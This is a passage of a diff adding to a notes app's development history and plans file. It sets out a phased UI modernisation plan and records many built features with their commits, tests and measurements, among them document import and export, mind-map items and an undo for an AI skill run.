+   phases lower. It cannot see the DOM; it stops regressions between
+   sessions.
+2. Add a `make ui-sweep` (or a `scratchpad/ui-sweeps/all.sh`) that runs every
+   sweep against a running app and writes the tables to one file, so
+   before/after is one diff.
+3. Screenshot set: every tab + every Settings section, light and dark, 1440
+   and 1024 wide, into the scratchpad. Same script each session.
+
+## Phase 1: mass and layout (1 session)
+
+Target: the app reads as one shell with rooms in it, not as cards on a
+gradient.
+
+1. **Shell.** One gutter (`--page-gutter`, done): extend to the dashboard
+   grid gap, the Library grid gap, and the gap between the sub-tab strip and
+   its content (measured 24/17/8px). Status bar and top bar: same height
+   family (`--header-h`), same horizontal padding as the page gutter so the
+   logo, first tab, sidebar edge and first card edge share one x.
+2. **Card system.** `.card` padding to `--space-6/--space-7` on ≥1100px
+   content columns (measured 16/20px everywhere, which is dense for a full-
+   width panel and right for a widget). Define two card sizes only:
+   `.card` (panel) and `.card.compact` (widget, sidebar). Kill card-in-card:
+   `.card .card` becomes a tone (`--surface-2`), never a bordered pane.
+3. **Dashboard.** Hero from 150px to one row (greeting · date · time · name),
+   quick actions become the first widget row, stat tiles fold into the
+   Stats widget. Widget head row: 32px, title + one action, no border below.
+4. **Sidebars.** One width token, one head row (28/38px measured → one),
+   list rows at `--target-min` with tone hover, no bordered rows.
+5. **Max reading width.** `.entry-list.is-rows` already caps the measure;
+   apply the same `--measure` token to chat bubbles, document preview, the
+   Contents page and Settings prose (currently 100% of a 640px column, fine;
+   100% of a 1100px column, not).
+
+Acceptance: `space.js` shows one card padding per card size, one card gap,
+one shell gutter; head rows at one height; screenshots side by side.
+
+## Phase 2: component consistency (1–2 sessions)
+
+Target: one recipe per component family, counted.
+
+| Family | Now (measured) | Target |
+| --- | --- | --- |
+| Buttons | 13–21 signatures per tab | 4: filled, tonal, plain, icon-tonal (+ danger colour) |
+| Rows (`.row`, toolbars) | gaps 4/6.4/8/9.6/16px | 2: `--space-3` inside a control group, `--space-4` between groups |
+| Head rows | 28/38/40px | 1: `--control-h` |
+| Chips/badges | ~6 recipes (tag, link, status, count, filter, inline) | 2: static tag (tone, no border) and interactive filter chip (tonal button) |
+| Fields | inputs with border+inset; selects with border+shadow | 1: recessed well, `--field-inset`, no drop shadow |
+| Segmented | 3 | 2: tab strip (well) and choice (chip well): done, keep |
+| Menus/popovers | action-menu, select-menu, doc-dock-menu, help-popover, graph panels, 5 shells | 1 `.popover` shell: `--modal-bg-opaque`, `--border`, `--glass-shadow`, `--radius-md`, hidden-until-placed |
+| Dialogs | modal-card + 4 one-off panels | 1 |
+| List rows | entry-list li, library-card, bookmark-row, extras-row, setting-row | 2: card row (tone) and divider row |
+
+Method per family: run the sweep, read the signature table, pick the winner
+(the one most used, already on tokens), rewrite the others onto it, delete
+the one-off rules, re-run. Record each family's before/after count in the
+commit.
+
+## Phase 3: typography, colour, glass restraint (½ session)
+
+1. Type: `--text-md` for control labels everywhere (measured 0.85/0.92rem
+   one-offs remain in Settings labels and library meta). Muted text at one
+   colour, one opacity: no `opacity: 0.75` on top of `--muted`.
+2. Colour: the accent is for the one filled action, selection, and links.
+   Remove accent from decorative borders, dots and icons that are not
+   interactive. Status colours (`--ok/--warn/--error`) only on status.
+3. Glass: keep `backdrop-filter` on the top bar, sidebars, floating panels
+   and sticky strips. Remove it from widgets and list cards (tone instead):
+   the measured blur layer count drops again and the page stops shimmering.
+   Sheen: off by default; the setting stays.
+4. Background: the blobs at half strength by default; a professional product
+   has a quiet page.
+
+## Phase 4: motion and placement (½ session)
+
+1. Every floating panel opens through one path: measure → place → reveal.
+   The toolbar menus do (`.is-placed`); port the same class to
+   `.action-menu`, `.select-menu`, `.help-popover`, the graph panels and the
+   whiteboard floating panel, and the chat model panel.
+2. No transitions on `left/top/width/height`; opacity and transform only,
+   ≤ `--motion-base`. Hover changes tone, never size or shape.
+3. Focus rings: one recipe (`--accent` 2px offset) on every interactive
+   element; verify with a keyboard-walk script.
+
+## Phase 5: per-surface passes (1 session each, in this order)
+
+1. **Settings**: the most visited and the most measured; apply phases 1–3
+   and the #129 list (spacing, hierarchy, proximity per page).
+2. **Notes** (Browse, Capture, Write, Ask), #132; the capture toolbar's
+   density; the row list as the reference list component.
+3. **Chat**: dock, sidebar, bubbles; #35's odysseus-style shape as the
+   target, kept restrained.
+4. **Library**: All/Documents/Files/Images/Links/Contents rows onto the two
+   list-row recipes; #101.
+5. **Dashboard**: phase 1's hero and widget head; widget internals onto the
+   compact card.
+6. **Graph, Timeline, Reminders**: toolbars onto the row recipe; the graph's
+   floating panels onto the popover shell.
+7. **Whiteboard and Documents editor**, panel chrome onto the popover
+   shell; the toolbar strip as the reference toolbar; #133, #134.
+
+## Phase 6: designed states and copy (½ session)
+
+1. Empty states: icon + one sentence + one action, one component, used by
+   every list. 2. Loading: skeleton rows for lists, a spinner only inside a
+button. 3. Errors: inline under the control that failed; toasts only for
+background work. 4. Copy: sentence case everywhere except eyebrows; verbs on
+buttons; no exclamation marks; one voice (DESIGN.md gets a "Voice" section).
+
+### Phase 7 item 2, line numbers as a setting
+
+Built, commit 68a81d1 (recorded in HISTORY.md under "Built: items 1, 3, 4 and 5"): `mountGutterFor` (documents.js, called for the capture box, the note edit form in `note-edit-panels.js` and the documents editor) with the one remembered `doc-gutter` preference, `docGutterWanted` following the file type by default; the formatting strip carries the one toggle (a second door in the view menu was removed on request). The item as it stood:
+
+2. **Line numbers as a setting, in all three editors.** The wrap bug is fixed
+   (v0.2.2) but the gutter still appears only for code files in Documents, and
+   the note capture and edit panels have no gutter at all. Wanted: one toggle,
+   remembered, working for any file type, in all three.
+
+### The owner's evening batch of 2026-09-09 (the eight left)
+
+Each confirmed on the head: Ctrl+S in Settings rings the section's own Save (`settings-wiring.js`, INBOX 107c's record); the Packages row's head no longer wraps (`packages.js`, 2026-09-13, 107c); the panels and sidebars' scroll gutter measured 16 to 40px and the AI skills sidebar full height (the 2026-09-12 triage of INBOX 107); the hard container corners (`2767fb3`; the half that did not reproduce is recorded there); the links editor's Save and Cancel are one pair, `small` beside `ghost small` (`library.js`, `.bookmark-edit-actions`); "Write something first" is set on a press of Save and cleared on input (`capture-ask.js`, `clearCaptureStatusOnInput`), never on load; the OCR workspace's reader picker opens (`b24836d`, INBOX 107b, and `GET /ocr-readers` names OCR models, `tests/test_ocr_readers.py`); the README's screenshots were retaken on 2026-10-04 (ROADMAP.md). The section as it stood:
+
+Global, cross-surface. Phase 9 (responsive) and Phase 10 (Liquid Glass)
+own most of these.
+
+Five of these are built and are in HISTORY.md ("Moved from the plans,
+2026-09-09"): the quick-nav chord's guide and its three new second keys, the
+dashboard's back-to-top threshold, the heatmap's size, and the dark palette's
+glass. What is left is below.
+
+- "ctrl s for saving settings changes while on the settings modal doesnt
+  work and it needs visual confirmation as well."
+- "there are also still wrapping issues in the packages tab with the
+  buttons, titles, and badges" (screenshot: the Tesseract row's title, its
+  Installed badge, and Reinstall / Remove on three lines).
+- "the panels and sidebars in windows actually go quite far down below
+  where the scroll should stop, and the ai skill sidebar isnt 100%
+  height."
+- "the containers of all the ui in each tab page have hard corner
+  rectangular edges so I want that fixed because the shadows make the cut
+  off pretty obvious."
+- "the links edit save and cancel buttons arent consistent" (screenshot: an
+  accent pill beside a grey rounded rectangle at a different radius and
+  height).
+- "the words 'write something first' is at the bottom of the note capture
+  tab when I didnt do anything?? maybe I fumbled a button": a validation
+  message shown on load rather than on submit.
+- "I was in the ocr workspace and the model dropdown combobox at the top
+  bar didnt open."
+- "I think the screen shots on the readme need an update from all the ui
+  changes."
+
+## Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: MINDMAP_PLAN)
+
+Rows listed as open in MINDMAP_PLAN that are built or moot on the head, each confirmed by grep.
+
+- **12.1 item 1, the map toolbar's four dock menus** and **12.2 item 3, relationships** and **12.2 item 10, XMind import**: already closed by op5 earlier on 2026-10-05 ("Moved from the plans, 2026-10-05 (MINDMAP_PLAN §12.1 closed, op5)" and "(MINDMAP_PLAN §12.2 items 7 and 10, op5)"); re-checked here and nothing was left in the plan's text. Item 1 is superseded by decision 16 (the board's Insert and Arrange menus stay in the markup, `maptopbar.js`) and §12.5's three surfaces; relationships are 13c's cross-link; the `.xmind` reader is `_parse_xmind` in `routes_whiteboard.py` (`IMPORT_FORMATS` carries `xmind`, `tests/test_xmind_import.py`), read-only by the plan's own text, with FreeMind, OPML, Markdown and plain text out (`EXPORT_FORMATS`).
+- **12.3 item 4, graph sync.** Built: the graph draws a map as a node with an edge of kind `map` to each note on it (`_add_map_edges`, `routes_graph.py`; `tests/test_mindmap.py` reads `kind == "map"` edges), the node panel counts them ("on a mind map", `graph.js`), and the graph's "Mind map" selection action makes one from the selected notes (`graph-canvas.js`, "Mind map ... made from N notes").
+- **12.3 item 2, Summarise this branch** (the half the plan still called open). Built, 3a27c00: `POST /whiteboard/boards/{b}/nodes/{n}/summary`, `wbMapSummariseBranch`, `tests/test_map_summary.py`; the record is "Moved from the plans, 2026-10-05 (op3-1005)". Expand from my notes stays open.
+- **"Ask the owner's map size before 13a"** (Not verified). Moot: 13a is built and met its gate at 500 topics (the render pass, MINDMAP_PLAN 13a), so the question no longer decides a phase.
+
+## Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: DOCUMENTS_PLAN)
+
+DOCUMENTS_PLAN section 13 ended "**Not decided here, and deliberately still open**: DOCX both ways, Markdown with its assets, and import of `.html`. The first needs a dependency decision this session did not have a reason to force." All three are built (Phase 7, "built 2026-09-13" in the plan; the decision on the dependency was `python-docx` as an optional extra), confirmed by grep on the head:
+
+- **DOCX out**: `GET /documents/{id}/export.docx` (`routes_documents.py`) over `docexport.to_docx` (pictures included, FEAT-18), behind `docexport.docx_available()` and `core/extras.py`'s "Export to Word (python-docx)".
+- **DOCX in**: `POST /documents/import` stores a `.docx`, `.pdf`, `.csv`, `.md` or source file as its extracted text (`core/docview.py`, the converter in `entry/importer.py`); `tests/test_document_import.py`.
+- **Markdown with its assets**: `GET /documents/{id}/export.zip` (`docexport.bundle`, the markdown and its images in one zip) beside `export.md`.
+- **`.html` in**: `docview.html_to_markdown` is what an imported `.html` file goes through (`routes_documents.py`, the `.html` branch of the import).
+
+## Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: BACKLOG)
+
+Stale rows of `BACKLOG.md` found built on the head, each confirmed by grep before it was struck; the original asks are kept here. Genuinely open rows were left alone, and a partly built row keeps a short open line.
+
+- **4b, templates and base layouts for boards, maps and documents.** The ask (2026-09-13, looking at a board an agent had built to photograph for the README): "add the ability to save whiteboard templates and base layouts, Im inspired by this example whiteboard png the agent took and it can be like canva templates, same with the mindmap and documents"; deferred out of 0.3.0 ("put the templates idea in the roadmap, not for this pr"). Built: WHITEBOARD_PLAN decision 25 made a board or map template a board library item of kind `template` (`routes_board_library.py`: `ITEM_KINDS`, `library_ref {id, version}`, `new_board_from_template`), shown in the object library's "Yours"; documents keep `DOC_TEMPLATES` (a gallery with added and editable templates, `documents.js`). Brief 32 stays a historical brief.
+- **21 and 95 #18, Undo the whole run.** Built: `skill_runner.run_skill` puts `undo_span` on the run's result, `POST /events/undo` takes the actor list, and chat's "What changed" carries "Undo the run" (`undoSkillRun`, `chat-agent.js`, `note-history.js`); the record is "Moved from the plans, 2026-10-05 (AGENT_SKILLS_REFORM: a skill run's own Undo)". Kept open: Gemini's silent pre-run snapshot.
+- **29, a browser clipper** (WORLD_CLASS_PLAN row 24, D9). Built: `POST /links/clip-page` (`routes_webclip.py`), `frontend/clip.html` and `clip.js`, the bookmarklet, `tests/test_webclip_page.py`. A packaged extension is not built.
+- **29c, the whiteboard pointers.** Built and struck: Mermaid both directions (`wbBoardToMermaid`, `wbMermaidParse`, `tests/test_wb_interchange.py`; documents `tests/test_doc_mermaid.py`), frames, board templates (4b), the Layers tab (`wbRenderLayers`), presenting the frames (`wbPresentSteps`), the board's time machine (`whiteboard-history.js`, `tests/test_board_history.py`). Swimlanes and named layers stay open.
+- **79b, the document textarea's resize.** Moot: the editor is CodeMirror 6 (DOCUMENTS_PLAN Phase 2); `#doc-content` is only the fallback if the bundle fails to load, as `index.html` says.
+- **103 #4, anchors and bends.** Built: bends on every connector style (WHITEBOARD_PLAN decision 30, `.wb-link-waypoint-handle`, `.wb-link-waypoint-add`), per-shape ports (`wbPortsForPath`). Open, kept: an anchor anywhere on an edge (`wbNearestAnchor` snaps to a discrete set).
+- **107 #1, board select, move and copy.** Built: marquee, lasso, group resize (`whiteboard.js`, the group-resize helpers), the controls redesign (WHITEBOARD_PLAN Phases 1 to 4) and copy and paste across boards (`wbClipboard`).
+- **109.3 #1, 111.2 #1, 112.2 #1 and 115 row 1, import from other note apps** (WORLD_CLASS_PLAN row 25). Built: `POST /import/app` (`entry/app_import.py`, `routes_import.py`), one reader per app (Notion zips and HTML, Obsidian vaults, Evernote `.enex`, Apple Notes), idempotent by source (`Entry.source_path`), `tests/test_app_import.py`; Markdown and Obsidian folders were already built (`/import/directory`, `tests/test_vault_import.py`). Open, small: attachments are not copied in; no dry-run preview.
+- **115 rows 3, 4 and 6.** Row 3 measured, nothing to fix (`inv1005-keyreach.js`); row 4 the axe sweep, 0 findings at 1440 in both themes (`axe.js`); row 6 the first-run path timed (`inv1005-firstrun.js`). The records are "Moved from the plans, 2026-10-05 (H9, polish in use; the rest of row 25)".
+- **116.3, PLAN.md rows.** Built and struck: W1 to W8, W10 (the undo across a reload is `undo-store.js`, IndexedDB), all of D4 to D11, B1, B3, B8, A4, A7's expose half. Left open, named: W9's palm rejection, W11's three selection actions, B2's remainder, B4/B5's other lists, B6, B7, A3's provenance, A5's Stop, A7's consume half.
+- **96, mermaid rendering.** Built: a flowchart fence drawn in documents (`mermaidFlowParse`, `docRenderMermaidIn`), a board's Mermaid in and out, the source kept in the SVG export. Open: chat and notes, and step 2's preview and edit flow.
+
+## OPEN.md rows closed, 2026-10-05 (docs hygiene before 0.4.0)
+
+Rows of `agent-remaining/OPEN.md` (and one of `op4-1005.md`) that were listed as open and are built on the head; each was confirmed by grep before it was closed. A partly built row keeps a short open line for the rest.
+
+- **Lists have no edge auto-scroll for a drag selection** (INBOX 608's list half). Built: `frontend/js/drag-edge.js` (`DRAG_EDGE`, a lazy module in `app.js`'s `LAZY_MODULES.dragEdge`) scrolls `#entry-list` and `.library-view-section` for a held mouse drag from 56px out to the edge; boards and maps were built before (`wbEdgePan`).
+- **Skeletons for a board's Library and Notes tabs** (INBOX 596). Built, 5c1389d: `wbLoadLibrary` draws six skeletons and `renderWbLibrary` five before the data lands (`whiteboard-library.js`, `whiteboard.js`); `bm1005-sidebar.js` check 7 measured 0 skeletons before, 6 after, then 51 tiles; `tests/test_board_sidebar_596.py`. Open, and kept in OPEN.md: the Library and Documents views read blank at 1440 and 390.
+- **The badge target** (INBOX 503 and 592). Built, 4a2dfaf: `badgealign.js` and `.py` measure the words' cap-height centre, the recipe's one target (DESIGN.md records it); `inkalign.js` retired; `tests/test_badge_recipe.py`.
+- **"Most opened this month"** (retrieval row). Built: `GET /most-opened` (`routes_vision.py`, over `EntryOpen`, written by `entry/opens.py`), the Dashboard's "Most opened this month" widget (`dashboard.js`, `renderMostOpenedWidget`), `tests/test_vision_rows_row11.py`; WORLD_CLASS_PLAN row 11 is struck. The scratchpad's parked design (`wc1005b-most-opened.md`) was not used and is superseded. Open, kept: the "wrong" correction on an evidence card (I7's second half) and I1 pass 2's derived-fact kinds.
+- **arch.md: the Dashboard emblem's idle cost** (5.55% of a core). Built, b944d2c (WORLD_CLASS_PLAN 424(j)): the emblem is drawn once and turned by CSS, 0ms of script idle on Dashboard and Chat, `perf5/idleprof.js`; the frame-rate question no longer exists. INBOX 266's other items stay as a row.
+- **guideia.md: Remind me beyond notes, the Library note card's Remind me and Link to.** Built (WORLD_CLASS_PLAN row 15): `remindAbout` (`shell-reminders.js`) is called from `library.js` (document and note menus, "Link to..." beside it via `linkNoteFromLibrary`) and `whiteboard.js` (a board's menu); the reminder carries `target_kind` (`routes_reminders.py`) and `Reminder.document_id`; `tests/test_reminder_targets_row15.py`. The non-modal Guide stays open.
+- **maptheme.md: the branch palette and font are map-level facts; a topic cannot be pulled back to the app's default** (MINDMAP_PLAN 13e). Built 2026-10-04: `MAP_BRANCH_PALETTES` server-side with `wbMapColors` reading it, `font`, and the per-field app-default pins (`MAP_APP_DEFAULT_PINS`); `mappalette.js` 13/13; the record is "Moved from the plans, 2026-10-04 (the map's palette, font and the app's own default)". Open, kept: the theme resolved into each node on export, an untested FreeMind `<arrowlink>`.
+- **Summarise this branch** (Draw.io phase 2's tail; MINDMAP_PLAN 12.3 item 2's half). Built, 3a27c00: `POST /whiteboard/boards/{b}/nodes/{n}/summary` (`routes_map_suggest.py`), `wbMapSummariseBranch`, `tests/test_map_summary.py`, `bm1005-mapmulti.js` check 6. Expand from my notes stays open.
+- **op4-1005: `test_every_route_that_pages_by_offset_takes_a_cursor` red** (found, not fixed). Fixed on the head: `routes_settings.py` takes `cursor` through `paging.cursor_param()`; `tests/test_api_contract_b7.py` passes 10 of 10 (run alone, this pass).
+
+## Moved from the plans, 2026-10-05 (444 decision 10: the autonomous override's default)
+
+Decision 10 counted "a background-job model is still chosen in Models and in
+Background tasks" as one setting in two places. Read from the code
+(op4-1005): they are two. Models sets the utility model
+(`#utility-model-select`); Background tasks sets the autonomous pass's own
+override (`#pref-autonomous-model`, `autonomous_tasks_model`), which stays
+beside the job it overrides (decision 4). What made them read as one was the
+override's default, "Same as utility model", naming no model. It now says
+which one, in the per-feature pickers' own words (INBOX 430): measured with
+the fake Ollama, "Same as utility model (currently llama3.2) | llama3.2:latest
+| nomic-embed-text:latest". `tests/test_ui_recipes.py`
+(`test_the_autonomous_override_names_what_it_falls_back_to`).
+
+## Moved from the plans, 2026-10-05 (UI_MODERNISATION_PLAN 393, both halves found built)
+
+Found built in UI_MODERNISATION_PLAN.md and still standing there whole; moved
+verbatim (op4-1005): a plan holds open work only.
+
+393. **The owner, 2026-09-23, verbatim:** "research more ui and ux
+    improvements, remove any trace of vibe coded stuff in elements, designs,
+    aesthetics styles, form, function, layout, structure. vendor and use skills
+    to help with ui and ux design. find bugs in usability. improve and expand
+    learnability and information architecture. further modernise and
+    professionalise the app. I lose trust in and refuse to use applications
+    with poor ui design and ui/ux issues as they make me feel like the app is
+    unreliable ... there needs to be more integration between all the main
+    features. and there needs to be more optimisiation." Placed: the identity
+    half is a decision in UI_MODERNISATION_PLAN ("The default look is Quiet
+    utilitarian"), built by a theme agent with the vendored design skills and
+    unslop-ui. Recommendation for the integration half, taken: one "act on
+    this" vocabulary for every object (note, document, board, map, file,
+    reminder): Open, Ask about it, Add to a map, Show in graph, Remind me,
+    Link to, reached the same way from its card menu, the command palette and
+    a right-click, audited surface by surface against a table in
+    WORLD_CLASS_PLAN's consistency contract, with a lint that every object
+    menu carries the shared rows.
+
+**Found built, checked 2026-10-05 (op4-1005).** The identity half: the
+decision "The default look is Quiet utilitarian" (this plan's Decisions
+made) is the shipped default, `DEFAULT_THEME_PRESET = "utilitarian"`
+(settings.js) and the boot preset (theme-boot.js: the utilitarian palette,
+glass off, radius 8). The integration half: WORLD_CLASS_PLAN 1.3's "act on
+this" table, with `tests/test_object_actions.py` holding every "yes" in it
+and the one wording; its open cells were built 2026-10-05 (HISTORY.md,
+"Moved from the plans, 2026-10-05 (nbf1005)"), and the "no" cells left are
+recorded there as not planned.
+
+## OPEN.md rows closed, 2026-10-05 (op4-1005: the meeting head and holepoke's seven)
+
+Decided or found built by op4-1005. The meeting dialog's head: both controls are the dialog-head recipe's .dialog-head-btn now, measured 32x32 and 32x32 at 1440 and 43x43 and 43x43 at 390 (a meeting-head probe), so the two-recipes question is answered by the recipe. holepoke's seven, each decided with its reason: the carets' ink drawn high (1.0px and 0.63px) is the glyph's shape, and a per-glyph offset table is deliberately not taken (DESIGN.md, Icons); the phone toast over the Notes sub-tabs is INBOX 392's recorded decision (toasts at the top below 1100), kept; the board View menu's caret edge is the whiteboard owner's (WHITEBOARD_PLAN), left to them; the reminder row's mixed weights are gone (+1h, tmrw and Edit are smallButton's ghost default, shell-reminders.js, and Delete is in the row's menu); radio groups in a menu change the choice on ArrowDown by native radio semantics, kept; the one unexplained 404 did not reproduce in a request-logging run and is not a finding. The rows, verbatim:
+
+- **The meeting dialog's head row holds two heights**, a 28px `.ghost.small`
+  Close beside the 32px `.graph-help-toggle`. Both are app-wide recipes, so
+  this is a question about the two recipes rather than about the dialog.
+  [popup-redesigns.md]
+  *Needs: a question about two app-wide recipes.*
+- **holepoke.md**: seven findings, each with its "why not" in the file's table
+  (per-glyph ink offsets for carets, the toast over the phone Notes tabs, a
+  ghost select's caret ink, mixed button weights in the reminder row cluster,
+  arrow keys in radio groups, one unexplained 404 in the contrast sweep).
+  [holepoke]
+  *Needs: design decisions, each recorded with its reason.*
+
+## Moved from the plans, 2026-10-05 (444 decision 10: the installed models as model cards)
+
+UI_MODERNISATION_PLAN, Settings information architecture, decision 10 left
+"the Installed models list is the old row list" open. Built by op4-1005.
+
+- **Before**: a `ul` of rows (name, size, then "in use" or Remove), on its
+  own fixed-column CSS in 01-forms-settings.css, drawn by a boot function in
+  ai-tools.js. "In use" did not say for what, and Remove was the only verb.
+- **Now**: each installed model is the suggested downloads' own card
+  (`buildModelCard` as a custom model) in a `.model-grid`: the name, its
+  size measured on this computer ("2.0 GB on disk"), "In use for chat" where
+  it is, and its menu: use it for chat, images or reading text, copy its
+  name, Remove (disabled with the reason while in use). No "Installed" badge
+  in a list where every card is installed (`model.listed`). The function moved
+  to the lazy settings-models.js (out of the boot bundle), the status poll
+  calls it behind a `typeof` guard as it does the suggested list, and it
+  redraws only when what it shows changes, so a poll never closes an open
+  menu. The row CSS (88 lines) is gone.
+- **Measured** with the fake Ollama (`scratchpad/fake_ollama_server.py`,
+  two models installed, llama3.2 the chat model) and an installed-models
+  probe: at 1440, two cards 342x137 in two columns, llama3.2 "In use for
+  chat" with Remove disabled in its menu, nomic-embed-text with Remove
+  enabled, section overflow 0, 0 page errors; at 390 one column of 268px
+  cards, overflow 0; dark the same. `modelcards.js` (the suggested list):
+  12 ok, 0 failed. `tests/test_ui_recipes.py`
+  (`test_the_installed_models_are_model_cards`).
+- **Not verified**: a real Ollama; the custom card offers every use (an
+  embedding model is offered "Use for chat"), the same trade the Download
+  another model card already makes.
+
+## Moved from the plans, 2026-10-05 (UI_MODERNISATION_PLAN 94 and 282, found built)
+
+Found built in UI_MODERNISATION_PLAN.md and still standing there whole; moved
+verbatim (op4-1005): a plan holds open work only.
+
+94. **Background animations: fix, refine and improve.** Owner: UI Phase 3
+    follow-up (Opus): each style gets a measured frame cost, a still frame
+    under Performance mode, no seams at the edges, the intensity slider
+    changes something visible at every step.
+
+    Three of the four are done and are in HISTORY.md ("Moved from the plans,
+    2026-09-09"): the frame cost per style is measured and printed by
+    `scratchpad/ui-sweeps/bgart.js` (aurora +21ms, constellation +20ms,
+    waves +17ms, bubbles +17ms, mesh +28ms with a 167ms worst frame, over a
+    16.6ms idle baseline, headless and therefore software-rasterised);
+    Performance mode now stops the art dead, which it did not before because
+    `bg-motion: moving` bypassed the only test it reached the art through;
+    and there are no seams (the canvas is resized with the window and covers
+    it exactly at 1440x900, 900x1200 and 1600x800). Two of the five styles
+    also ignored the intensity slider's density and now scale with it.
+
+    **What is left is the fourth**: does the slider change something a
+    person notices at *every* step? Two ways of measuring it failed and both
+    are written into the sweep so they are not repeated: ink on the canvas
+    varies more between two boots of the same settings than it does across
+    the slider (every style places its marks with `p.random`), and the frame
+    cost at the two ends moves by less than the environment's noise. The
+    honest next step is a human looking at five screenshots, or a change of
+    design so the slider drives something with a large signature (the wash's
+    own alpha, say) rather than the population alone.
+
+282. **Found by errors.js while sweeping the writing desk, 2026-09-20.**
+    `[settings/extras] section scrolls sideways 496>492` at 820px, and only
+    at 820: 1440, 1024 and 390 are clean. Four pixels, so it is one control
+    or one row with a fixed width rather than the layout. Recommendation:
+    find the child whose `scrollWidth` is 496 at that width and let it
+    shrink, the same `min-width: 0` answer the dock heads take. Owner:
+    settings.
+
+**Found built, re-measured 2026-10-05 (op4-1005).** 94's fourth item: the
+slider already drives the wash's own alpha, the design change the entry
+asked for: `--bg-art-opacity` is the slider over 100 (settings.js,
+theme-boot.js) and `.bg-art-canvas` takes it as its opacity
+(03-dashboard-widgets.css), beside the density it already scaled. Measured
+with the art on (aurora, moving), the slider at 20 to 100 in steps of 10:
+the canvas's computed opacity 0.2, 0.3 ... 1.0, one tenth at every step.
+282: Settings, Packages at 780, 800, 820, 840 and 1024 wide: the section's
+`scrollWidth` equals its `clientWidth` at every one (476/476 at 820) and no
+child scrolls sideways; it no longer reproduces.
+
+**Found by the same pass and fixed**: `contrast.js` at 1440 and 390, light,
+reported one low-contrast text in Settings, the same before and after the
+`--field-inset` change: "Built-in" on a Skills row, `--muted` on
+rgb(219, 219, 221), 4.27:1, the fold's, the row's and the label's own tints
+stacked. A label on a Settings list row (`.skill-row`, `.persona-row`) takes
+`--ink` now, as the ok label already did (08-consistency.css). After:
+`ONLY=settings contrast.js` 0 findings in light and in dark at 1440.
+
+## OPEN.md rows closed, 2026-10-05 (op4-1005: the concentric rollout)
+
+Decided, recorded in DESIGN.md rule 3 ("The rollout, decided 2026-10-05"), built and linted by op4-1005: a painted surface nested inside a rounded container nearer its edge than the container's radius takes --radius-inner; controls and interactive rows (buttons, fields, chips, segments, summaries, check rows) keep their tier; a surface inset by the radius or more is its own shape. A probe at the 16px corner setting over six tabs and every Settings section: none inside a .card out of concentric; .theme-preview, .theme-swatch and .setup-snippet were, and are on the token (tests/test_style_scale.py, test_the_nested_surfaces_are_concentric). The row, verbatim:
+
+- **`--radius-inner` has four users.** DESIGN.md rule 3 and INBOX 101 declared
+  the token and the sketch pad's toolbar, canvas and foot plus the meeting
+  stage are the first to reach for it; every other surface inside a `.card`
+  still draws `--radius-lg`, which is the concentric rule half applied.
+  [popup-redesigns.md]
+  *Needs: the concentric rule's rollout is design. Count re-measured 2026-10-05: 13 `var(--radius-inner)` declarations in six stylesheets (02 six, 05 three, 03, 06, 07 and 08 one each) plus `documents.js`'s colour swatch; the row's "four" and the earlier "about seventeen" were both stale.*
+
+## OPEN.md rows closed, 2026-10-05 (op4-1005: four design rows)
+
+Each decided, recorded in DESIGN.md, built and linted by op4-1005: the field and the track (DESIGN.md Colour, "A field and a track"; light --field-inset 0.07 to 0.10), the empty line (the recipe index's "An empty line in a small panel", nine lines on it, nine named for their owners), the shadow slider (Elevation, "What the shadow slider means"; every layer and all twenty palettes' --glass-shadow follow it, none opaque before 50%), and the Ask grid ("Two columns of reading"; one column below 1100). The rows, verbatim:
+
+- **`--field-inset` and the segmented track are one tone in light and two in
+  dark.** Light has both at `rgba(31, 36, 48, 0.07)`; dark has
+  `rgba(0, 0, 0, 0.28)` and `rgba(255, 255, 255, 0.08)`. Light flattens a
+  distinction dark makes. Belongs to whoever owns the token file.
+  [consistency.md, docks.md]
+  *Needs: belongs to the token owner.*
+- **An empty line in a small panel has no recipe.** The agent panel uses
+  `<p class="muted">` where the index names `.empty-state`, whose 2rem padding
+  and centred block would be wrong in a 384px glance panel. Worth a recipe row
+  rather than a conversion. [visual-c.md]
+  *Needs: a recipe row to design.*
+- **The dark shadow sliders saturate earlier than the light ones.** The dark
+  alphas are 7 to 11 times the light ones at the same setting, so the ambient
+  layer reaches opaque around 14% of a 0 to 50% slider; light's
+  `--shadow-lg` clamps at 33%, so both clamp and the structure matches.
+  Spreading either across its full range is a separate decision about what the
+  slider means. [visual-c.md]
+  *Needs: what the slider means is a decision.*
+- **The Ask results grid is two columns down to 900px.** At 1024 each half is
+  356px, which is why the badge has to ellipsise a long model id at all. The
+  breakpoint (`@media (max-width: 900px)` on `.chat-grid`,
+  01-forms-settings.css) is arguably too low for a panel that holds an answer,
+  but moving it is a layout decision the owner has not asked for.
+  [ask-head-ocr.md]
+  *Needs: a layout decision the owner has not asked for.*
+
+## Moved from the plans, 2026-10-05 (AGENT_SKILLS_REFORM: a skill run's own Undo)
+
+The placed row (brief7-event-log; Brief 13): "the run's stop line in Chat
+gets an Undo that calls `POST /events/undo` with the run's actor and first
+event id; board items stay 'not undoable', said in the row". Built by
+op4-1005, with one correction to the brief: a run has no one actor. Each
+tool call files its writes under `ai:<tool>@<model>`, so a run is several
+actors over one span.
+
+- **Backend**: `skill_runner.run_skill` takes the newest event id before the
+  run (`_event_mark`) and puts `undo_span` (`since`, `until`, `actors`: the
+  AI's writes between, `_undo_span`) on the run's `result` event; None when
+  the run wrote nothing. `events.undo` takes a list of actors and `until_id`;
+  the list's members count as one for "changed since", so a run's second
+  tool touching a note its first tool wrote is the run's own change. The
+  route's `UndoBody` gains `actors` and `until`, refuses the person in a
+  list as it did alone (400) and an empty ask (422). The wrapper closes the
+  run's generator in a `finally`, as `yield from` did, so Stop still ends it
+  at once.
+- **Chat**: "What changed (N)" carries "Undo the run" when the run changed
+  more than one thing (one change has its row's own Undo). It calls
+  `undoSkillRun` (note-history.js, lazy through `noteHistory`'s stand-in):
+  the dry run, its plan in the confirm (`activityUndoPlanText`, the Recent
+  activity widget's sentence, which names a board item as "can't be
+  undone"), then the plan applied, the button gone and the notes reloaded.
+  `undo_span` is saved with the turn, so a reopened conversation keeps it.
+- **Found and fixed on the way**: the shared plan sentence read "1 note go
+  back"; it reads "1 note goes back" now (dashboard.js).
+- **Measured**: `tests/test_skill_run_undo.py`, 5 tests (the span, the
+  actors as one, the bound, the route, the Chat wiring);
+  `tests/test_events_undo.py` 13 unchanged. In the browser (port 8807,
+  1440): a note changed through the API by an outside actor inside a span,
+  `undoSkillRun` loaded lazily, the confirm read "Undo this run? 1 note go
